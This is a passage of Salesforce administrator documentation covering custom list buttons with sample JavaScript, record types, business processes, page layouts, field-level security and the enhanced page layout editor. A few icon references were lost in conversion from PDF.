2. Add the custom list button to your activity list views. 3. Add the custom list button to any page layout that contains an activity related list. The custom button deletes any selected task or event in the list. You can install this custom button and others like it by going to http://sites.force.com/appexchange and browsing or searching for the Mass Delete app. Passing Record IDs to an External System If you use Salesforce record IDs as unique identifiers for integrating with an external system, you can configure a list button to pass those record IDs using a URL. In the example below, a list button calls a Visualforce page to determine the record IDs of the records selected in a list and passes them in a URL query parameter to an external Web page called www.yourwebsitehere.com. 1. Create a Visualforce page that uses the GETRECORDIDS function to retrieve a list of selected records:
<script type="text/javascript"> idArray = {!GETRECORDIDS($ObjectType.Account)}; window.location.href="http://www.yourwebsitehere.com?array="+idArray; </script>

1178

Customize

Setting Custom Buttons and Links

Note: Replace www.yourwebsitehere.com with your own URL.

2. Define a custom list button for accounts with the following attributes:
Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures that users can select any number of records in the list before clicking the button.
Behavior is Display in existing window with sidebar Content Source is Visualforce Page

Select the Visualforce page you created in the first step.

3. Add the custom list button to the appropriate page layout or list view layout. Reopening Cases Related lists are valuable because they allow users to perform an action on several records at once. Add a custom list button to your cases related lists so that users can reopen several cases on an opportunity at once. 1. Define a custom list button for cases with the following attributes:
Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures that users can select any number of records in the list before clicking the button.
Behavior is Execute JavaScript Content Source is OnClick JavaScript

Use the following sample code:


{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records = {!GETRECORDIDS($ObjectType.Case)}; var newRecords = []; if (records[0] == null) { alert("Please select at least one row") } else { for (var n=0; n<records.length; n++) { var c = new sforce.SObject("Case"); c.id = records[n]; c.Status = "New"; newRecords.push(c); } result = sforce.connection.update(newRecords); window.location.reload(); }

1179

Customize

Managing Record Types

Note: This example references the AJAX Toolkit, which is available if API access is enabled for your organization. For more information about the AJAX Toolkit, see https://wiki.developerforce.com/index.php/API.

2. Add the custom list button to your opportunity page layouts by editing the Cases related list. Tip: Use this list button on any page layout that contains the cases related list, such as account or contact page layouts.

Note: Notice the check for records[0] == null, which displays a message to users when they do not select at least one record in the list.

RECORD TYPES
Managing Record Types
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change record types: Customize Application

Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their profiles. Record types can be used in various ways, for example: Create record types for opportunities to differentiate your regular sales deals from your professional services engagements and offer different picklist values for each. Create record types for cases to display different page layouts for your customer support cases versus your billing cases.

Record Type Considerations Keep the following considerations in mind when creating or changing a record type: The following special picklist fields are not available for record types because they are used exclusively for sales processes, lead processes, support processes, and solution processes: Opportunity Stage Case Status Solution Status
Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to each record type.

1180

Customize

Creating Record Types

Person accounts are account records to which a special kind of record type has been assigned. These record types are called person account record types. Person account record types allow contact fields to be available on the account and allow the account to be used in many situations as if it were a contact. A default person account record type named Person Account is automatically created when person accounts are enabled for your organization. You can change the name of this record type, and you can create additional person account record types. You cannot delete all the record types for an object if the object is referenced in an Apex script. You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand Email-to-Case. To create record types for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Members > Record Types. Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page layout. You must have the Marketing User user permission to change the campaign member type. You can also add a read-only Campaign Member Type field to the campaign members page layout.

The following campaign member picklists are not available for record types: Status Salutation Lead Source

Salesforce recommends creating no more than 200 record types. While there is no limit, organizations may have difficulty managing their record types if they exceed 200.

See Also:
Viewing and Editing Record Types Setting Record Type Preferences Creating Record Types Assigning Page Layouts Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Assigning Record Types to Profiles in the Original Profile User Interface Administrator tip sheet: Tips & Hints for Record Types

Creating Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change record types: Customize Application

To create record types on a standard object: 1. Click Your Name > Setup > Customize, then select an object. To create person account record types, click Your Name > Setup > Customize > Accounts > Person Accounts.

1181

Customize

Creating Record Types

To create campaign member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members. 2. Click Record Types. 3. Click New. 4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an existing record type to clone its picklist values. 5. Enter a Record Type Label that's unique within the object. 6. Enter a Record Type Name. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The Record Type Name refers to the component when using the Web services API and prevents naming conflicts on package installation in managed packages. 7. For opportunity, case, lead, and solution record types, select a business process to associate with the record type. 8. Enter a description. 9. Select Active to activate the record type. 10. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the checkbox in the header row to enable it for all profiles. 11. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox in the header row to make it the default for all profiles. 12. Click Next. 13. Choose a page layout option to determine what page layout displays for records with this record type: To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page layout from the drop-down list. To apply different page layouts based on user profiles, select Apply a different layout for each profile and choose a page layout for each profile.

14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to create another record type.

See Also:
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Assigning Record Types to Profiles in the Original Profile User Interface What is a Person Account?

1182

Customize

Editing Picklists for Record Types and Business Processes

Editing Picklists for Record Types and Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change record types: To create or change business processes: Customize Application Customize Application

To customize the values in record type and/or business process picklists: 1. Select a record type and click Edit next to one of the picklist fields to customize the values included for the record type. Or, select a business process to customize the values included in that business process. 2. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to choose from the list of selected values when creating and editing records. 3. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent field is ignored. 4. Click Save. Tips for Editing Picklists and Record Types The master picklist, the complete list of values in a picklist, is independent of all record types and business processes. If you add a picklist value to the master picklist, you must manually include the new value in the appropriate record types. If you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to that value are unchanged. Renaming a record type does not change the list of values included in it. The following special picklist fields are not available for record types because they are used exclusively for sales processes, lead processes, support processes, and solution processes: Opportunity Stage Case Status Solution Status
Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to each record type. The following campaign member picklists are not available for record types: Status Salutation Lead Source

After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing campaigns for both US and European divisions can have both US and European campaign record types available when creating new campaigns.

1183

Customize

Viewing and Editing Record Types

Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page layout. You must have the Marketing User user permission to change the campaign member type. You can also add a read-only Campaign Member Type field to the campaign members page layout.

See Also:
About Custom Fields Setting Record Type Preferences Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Assigning Record Types to Profiles in the Original Profile User Interface

Viewing and Editing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view record type setup pages: To create or change record types: View Setup and Configuration Customize Application

To view a list of record types, click Your Name > Setup > Customize, select an object, and click Record Types. For campaign member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members > Record Types. Click New to create a new record type. Click Edit to change the name of a record type or deactivate it by deselecting the Active checkbox. Deactivating a record type does not remove it from any user profiles. Note: When creating and editing record types for accounts, opportunities, cases, contacts, or custom objects, check for criteria-based sharing rules that use existing record types as criteria. A record type change may affect the number of records that the rule shares. For example, let's say you have a record type named Service, and you created a criteria-based sharing rule that shares all Service record types with your service team. If you create another record type named Support and you want these records shared with your service team, you must update the sharing rule to include Support record types in the criteria. Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type field blank on records associated with the deleted record type, select None. Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and campaign member records. Click the name of the record type to edit the picklists associated with it. Click Page Layout Assignment to set which page layouts users can see based on profiles and record types.

1184

Customize

Managing Multiple Business Processes

Note: You cannot edit or delete a record type for an object if the object is referenced in Apex. For more information, see Apex Code Overview on page 1825.

See Also:
Assigning Page Layouts About Field Accessibility Criteria-Based Sharing Rules Overview

Managing Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change business processes: Customize Application

Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes allow you to track separate sales, support, and lead lifecycles. Sales Processes Create different sales processes that include some or all of the picklist values available for the opportunity Stage field. Lead Processes Create different lead processes that include some or all of the picklist values available for the Lead Status field. Support Processes Create different support processes that include some or all of the picklist values available for the case Status field. Solution Processes Create different solution processes that include some or all of the picklist values available for the Status field. After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the user profiles that are associated with the business process. To view a list of business processes, click Your Name > Setup > Customize, select the appropriate tab link (Opportunity, Case, Lead, or Solution), and click the Processes link. Click New to create a new business process. Click Edit to change the name or inactivate the business process. Click Del to delete an unused business process.

1185

Customize

Overview of Page Layouts and Field-Level Security

Click the name of the business process to edit the picklist values associated with it.

See Also:
Administrator tip sheet: Tips & Hints for Multiple Business Processes

Creating Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change business processes: Customize Application

Follow these steps to create sales processes, support processes, lead processes, and solution processes. 1. 2. 3. 4. Select Your Name > Setup > Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution. Click the Processes link. Click New. Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist values. 5. Enter a name and description for the new process. The name must be unique within the tab. 6. Click Save. All of the available values in the picklist are displayed. Choose the values that you would like included in the new business process. 7. See Editing Picklists for Record Types and Business Processes for instructions on building the list of values for this business process. Next, add the new business process to a record type (see Managing Record Types) and then make the record type available to users based on profile (see Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 505 or Assigning Record Types to Profiles in the Original Profile User Interface on page 516).

Overview of Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout and organization of detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. Customize search layouts to change which fields display in search results and the buttons that display on list views.

1186

Customize

Overview of Page Layouts and Field-Level Security

Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be able to access those fields by other means, including reports, search results, list views, and the API. Use field-level security to restrict all means of accessing a field. Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support.

Field-Level Security
Restrict users access to view and edit fields by any means, including reports, search results, list views, related lists, email and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal data. Override any less-restrictive field access settings in page layouts and mini page layouts. For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security overrides the page layout and the field will be read only for the user. Override less-restrictive field settings in search layouts. For example, if a field is visible in the search layout but hidden for certain users via the field-level security settings, the field-level security overrides the search layout and the field will be hidden for those users.

Page Layouts
Control the layout and organization of detail and edit pages Control which fields, related lists, and custom links users see, on detail and edit pages only Control which standard and custom buttons display on detail pages and related lists Determine whether fields are visible, read only, or required, on detail and edit pages only In Personal, Contact Manager, Group, and Professional Editions, control which fields users can access in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data or importing personal data In Professional, Enterprise, Unlimited, and Developer Editions, determine some aspects of mini page layouts, including record type and profile associations, related lists, fields, and field access settings. The visible fields and related lists of the mini page layout can be further customized, but the other items inherited from the associated page layout cannot be changed on the mini page layout itself. Mini page layouts display selected fields and related lists of records in the mini view of the console. See Console Tab Overview on page 2902 for more information. Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of field-level security, make it a universally required field.

See Also:
Managing Page Layouts Field-Level Security Overview

Setting Page Layouts and Field-Level Security

1187

Customize

Overview of Page Layouts and Field-Level Security

Page layouts and search layouts available in: All Editions Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. For Personal, Contact Manager, Group, and Professional Editions 1. 2. 3. 4. 5. 6. Create custom fields. Create any custom buttons or links. Create any custom s-controls. Define page layouts. All users automatically use the same page layout for each tab. Set the related objects and the mini page layouts that display in the console. Define search layouts. All users use the same search layouts.

For Enterprise, Unlimited, and Developer Editions 1. 2. 3. 4. 5. 6. Create custom fields. Create any custom buttons or links. Create any custom s-controls. Create any custom profiles. Create record types for different business scenarios. Assign which record types are available to users with different profiles (see Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 505 or Assigning Record Types to Profiles in the Original Profile User Interface on page 516). 7. Set the field-level security for each profile to restrict users access to specific fields. 8. Define page layouts to organize your pages. 9. Set the related objects and the mini page layouts that display in the console. 10. Assign page layouts to users based on profiles and record types. 11. Check the field accessibility grid to verify that all field access settings are correct. 12. Define search layouts. All users use the same search layouts.

See Also:
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Managing Page Layouts

1188

Customize

Overview of Page Layouts and Field-Level Security

Available in: All Editions

User Permissions Needed To create, edit, and delete page layouts: Customize Application

You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce Customer Portal pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display. To work with page layouts, go to Your Name > Setup > Customize, click the appropriate kind of record, and select Page Layouts. You can: Click New to create layouts; see Creating Page Layouts on page 1190. Click Edit to modify layouts or customize related lists; see Customizing Page Layouts on page 1191. Click Del to delete layouts; see Deleting Page Layouts on page 1208. Click Page Layout Assignment to assign page layouts to profiles and record types; see Assigning Page Layouts on page 1208.

For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise, Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types and set field-level security settings to further restrict users access to specific fields. See Assigning Page Layouts on page 1208 and Field-Level Security Overview on page 622 for more information. In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that appear in the Console tab. See Choosing Related Objects for the Console's Mini View on page 2905 and Defining Mini Page Layouts on page 2906 for more information. Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level security settings override the visible and read-only settings on the page layout if the field-level security has a more restrictive setting than the page layout.

1189

Customize

Overview of Page Layouts and Field-Level Security

Note: Salesforce periodically runs a background process that cleans up metadata associated with deleted custom fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and custom objects.

See Also:
Overview of Page Layouts and Field-Level Security Editing Mobile Object Properties About Field Accessibility Customizing Home Tab Page Layouts Setting Up Self-Service Setting Up the Console Tab Setting Up Your Customer Portal Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Creating Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create page layouts: Customize Application

To create a new page layout: 1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link. For opportunities, click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts to create or edit the additional page layouts for products on opportunities. For person accounts, click Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts to create or edit the additional page layouts for person accounts. For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Page Layouts. 2. Click the New button, and then optionally choose an existing layout to copy. Tip: To create a page layout based off an existing page layout, do one of the following: In the enhanced page layout editor, select an existing page layout from the list of page layouts, then click Save As to create a copy of the layout. In the original page layout editor, select an existing page layout from the list of page layouts, then click the Clone button.

3. Enter a Page Layout Name for the new layout. 4. Click Save.

1190

Customize

Overview of Page Layouts and Field-Level Security

See Customizing Page Layouts for instructions on modifying the page layout. For information on defining mini page layouts for the Console tab, see Setting Up the Console Tab on page 2904.

See Also:
Managing Page Layouts Customizing Related Lists Overview of Page Layouts and Field-Level Security

Customizing Page Layouts


Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts (enhanced page layout editor only): Customize Application View Setup

Salesforce has two drag-and-drop tools for editing page layouts: the original page layout editor and a new enhanced page layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor, as well as additional functionality and an easier-to-use WYSIWYG interface. If you want to use the original page layout editor, you can enable it for your organization in the User Interface settings. Your organization can only use one of the page layout editors at a time. Accessing the Enhanced Page Layout Editor To access page layouts for standard objects: 1. Select Your Name > Setup > Customize. 2. Choose the object. 3. Do one of the following: In Enterprise, Unlimited, and Developer Edition organizations, choose the Page Layouts link and click Edit next to the page layout you want to customize. Note: If you only have the View Setup permission, the Edit button is not available. Click the name of the page layout to view it instead. In all other editions, choose the Page Layout link.

To access page layouts for custom objects: 1. 2. 3. 4. Select Your Name > Setup > Create > Objects. Choose the object. Scroll to the Page Layouts section. Click Edit next to the page layout you want to customize.

1191

Customize

Overview of Page Layouts and Field-Level Security

Note: If you only have the View Setup permission, the Edit button is not available. Click the name of the page layout to view it instead.

Alternatively, when you are on a detail page, click the Edit Layout link in the upper right corner to quickly customize the page layout. Salesforce displays the Edit Layout link only to users with the Customize Application permission. For more information on the enhanced page layout editor, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 1192. Accessing the Original Page Layout Editor To access page layouts for standard objects: 1. Select Your Name > Setup > Customize. 2. Choose the object. 3. Do one of the following: In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize. In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

To access page layouts for custom objects: 1. 2. 3. 4. Select Your Name > Setup > Create > Objects. Choose the object. Scroll to the Page Layouts section. Do one of the following: In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize. In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

For more information on the original page layout editor, see Customizing Page Layouts with the Original Page Layout Editor on page 1201.

See Also:
Customizing Related Lists Managing Page Layouts Overview of Page Layouts and Field-Level Security Restricting Price and Quantity Editing on Opportunity Products Editing Multi-Line Layouts for Opportunity Products Setting Up Your Customer Portal

Customizing Page Layouts with the Enhanced Page Layout Editor

1192

Customize

Overview of Page Layouts and Field-Level Security

Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organizations page layouts for detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. The enhanced page layout editor is enabled by default and provides all of the functionality of the original page layout editor, as well as additional functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts on page 1191. The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and any additional elements that are available for you to add to the page layout. When working with enhanced page layout editor: To add a user interface element to the page layout, select the category to which the element belongs on the left column of the palette, and drag the element from the palette to the page layout. To remove a user interface element from the page layout, drag the element from the page layout to the right side of the palette, or click the icon next to the element. Use the undo and redo buttons to step backwards and forwards, respectively. Use the following keyboard shortcuts: Undo = CTRL+Z Redo = CTRL+Y Quick Save = CTRL+S To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click. To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next to it. You cannot change the properties of elements in the palette. To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required checkboxes. To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette to collapse it. To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page layout name at the top of the page and select another layout to view. To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes on the page layout, click Layout Properties. Note: You can't rename a page layout if you're using Salesforce.com Professional Edition.

1193

Customize

Overview of Page Layouts and Field-Level Security

To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select a profile to see how the pages will look for users with different profiles. Note that most related lists columns preview without data. To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts that have large numbers of items available in the palette. To save your changes and continue editing the page layout, click Quick Save. To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page layout before clicking save, your changes will be lost. To create a copy of your page layout, click Save and select Save As. To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional, Enterprise, Unlimited, and Developer Edition organizations only.) Note: You cannot choose Mini Console View for the Close Case Layout or the Log a Case Page and View Cases Page layouts on the Self-Service Portal.

To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise, Unlimited, and Developer Edition organizations only.) Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases Page layouts on the Self-Service Portal.

See Also:
Notes on Using the Enhanced Page Layout Editor Customizing Related Lists Managing Page Layouts Assigning Page Layouts Overview of Page Layouts and Field-Level Security Restricting Price and Quantity Editing on Opportunity Products Editing Multi-Line Layouts for Opportunity Products Setting Up Your Customer Portal

Enhanced Page Layout Editor User Interface Elements

1194

Customize

Overview of Page Layouts and Field-Level Security

Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

The following list describes the enhanced page layout editor user interface elements and how you can use them in your page layout. Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing your page layout. Blank Spaces You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish elements on the page. To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom Links, Custom S-Controls, or Visualforce Pages category on the palette. Note: If you use the original page layout editor to view a page layout that was created in the enhanced page layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the right. Buttons The top of the page layout has a place for standard buttons and another for custom buttons. You can control which standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot rearrange the order in which the standard buttons appear. To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the button to the palette. For information on buttons in related lists, see Related Lists. Custom Links To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom links from the palette to the Custom Links section on the page layout. To remove a custom link from the page layout, drag the custom link to the palette.

1195

Customize

Overview of Page Layouts and Field-Level Security

Fields To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette to any section on the page layout, except for sections reserved for custom buttons or links and related lists. A field might display one or more of the following icons: The field must have a value to save the record but is not required on the page layout itself. The field must be included on the page layout because either an administrator configured the field as universally required or Salesforce automatically requires the field. Although you cannot remove such fields, you can move them to different locations. The field is a controlling field. The field is a dependent field. The field is read only. ) on any of the

To set which fields are required and read only, select one or more fields and click the wrench icon ( selected fields.

The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not universally required fields. Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission. If you make a picklist field read only, all new records will contain the default value for that picklist. Auto-number fields are always read only. If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically when a user changes the Stage value of an opportunity.

When working with fields, note the following: In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security. Field-level security settings override any field properties you set on the page layout if the field-level security is more restrictive than the page layout setting. See Field-Level Security Overview on page 622. In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import only into the fields that are accessible to them via their page layout or field-level security settings. For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1216.

Related Lists To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists from the palette to the desired location on the page layout. A page layout can have up to 100 related lists. You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle located above the related list. To customize a related list, double-click the related list handle or click the wrench icon ( related list properties to: ) inside the handle. Use the

Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column information to other page layouts for the same type of object.

1196

Customize

Overview of Page Layouts and Field-Level Security

Specify which standard and custom buttons appear on the related list.

When working with related lists on page layouts, note the following: Some related lists are not customizable because they link to data rather than store it. Salesforce denotes related lists that are not customizable on the page layout. You cannot add related lists to the page layouts for the User object. You can also enable related list hover links for your organization so that record detail pages include links for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump down to the content of the related list without having to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1477. In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists display for their personal use. Administrators can overwrite these user customizations and apply the related list configuration in the page layout to all users, even if they already customized their display. To overwrite users' related list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which appears when saving a page layout if you moved or added a related list.

Custom S-Controls To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links and related lists. A page layout can have up to 20 s-controls. To change the properties of an s-control, double-click the s-control or click its wrench icon ( attributes:
Width sets the horizontal size in pixels or a percent. Height sets the vertical size in pixels. Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary. Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to

) and set the following

display the s-control in a wider area. Sections You can add and move sections anywhere above the related lists on the page layout. The sections you add can contain fields, s-controls, and blank spaces. In addition, each page layout has a default section that can only contain custom links and blank spaces. You can change the location of the custom link section, but you cannot remove it from the page. To add a section, drag the Section user interface element from the palette to the desired location on the page layout. The Section user interface element is the second option in the palette when you select the Fields or Custom S-Controls category on the palette. To change the attributes of a section, double-click the section or select its associated wrench icon ( ). You can:

Enter a name for the section. Note that names of some standard page sections cannot be changed. Specify whether the section should have one or two columns. Specify the order in which users will be able to tab through the items in that section. Specify whether the section heading should be shown on the detail and edit pages.

1197

Customize

Overview of Page Layouts and Field-Level Security

Tags If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot be modified. Visualforce Pages To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and related lists. A page layout can have up to 20 Visualforce pages. You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to that object, the Visualforce Pages category does not appear in the palette.

See Also:
Notes on Using the Enhanced Page Layout Editor Customizing Page Layouts with the Enhanced Page Layout Editor

Notes on Using the Enhanced Page Layout Editor


Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

When using the enhanced page layout editor, note the following: You can't rename a page layout if you're using Salesforce.com Professional Edition. Some elements can only be moved to certain locations on the page layout. Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element on the palette, Salesforce highlights the element on the page layout. When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce jumps to the part of the page layout where you can add those elements. The following table describes which browsers support the enhanced page layout editor: Browser Mozilla Firefox, most recent stable version Notes Note: Users with the View Setup and Configuration permission can view but not edit page layouts using Firefox version 2.

1198

Customize

Overview of Page Layouts and Field-Level Security

Windows Internet Explorer versions 6, 7, 8, and 9

Internet Explorer 6 does not perform well with advanced Web interfaces such as the enhanced page layout editor. Salesforce.com strongly recommends using Internet Explorer version 9 over versions 6, 7, and 8. Apply all Microsoft hotfixes. Important: Using Internet Explorer with the Internet Explorer Developer Toolbar impacts the performance of the enhanced page layout editor. Disable the toolbar before using the enhanced page layout editor as follows: 1. In Internet Explorer, navigate to Tools > Internet Options... > Programs. 2. Click Manage Add-ons.... 3. Select IE Developer Toolbar and IE Developer Toolbar BHO, and choose the Disable option. 4. Close all Internet Explorer windows and restart the browser.

Apple Safari version 5.1.x

If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available on the enhanced editor. Salesforce displays a read-only version of the enhanced page layout editor to users with the View Setup permission. Note: The read-only view of the page layout does not display field types and lengths in hover details.

Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those standard object checkboxes. To configure how Salesforce displays the checkboxes, click Layout Properties when customizing the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce to automatically select the option when a user accesses the edit page. Object Case Checkboxes Case assignment checkbox Displays the
Assign using active assignment rules

checkbox on case edit pages. Email notification checkbox Displays the Send notification email to contact checkbox on case edit pages. Case Close Solution information section Displays the solution information section on the case close edit pages.

1199

Customize

Overview of Page Layouts and Field-Level Security

Notify Contact Displays the Notify Contact checkbox on case close edit pages. Lead
Lead assignment checkbox Displays the Assign using active assignment rule checkbox appears on

the lead edit page. Person Account


"Run territory assignment rules on save" checkbox Displays the Run territory assignment rules on save checkbox appears on the person account

edit page. Task


Email notification checkbox Displays the Send Notification Email checkbox appears on the task edit

page. Note: A user's personal preference for defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see Creating Tasks on page 142.

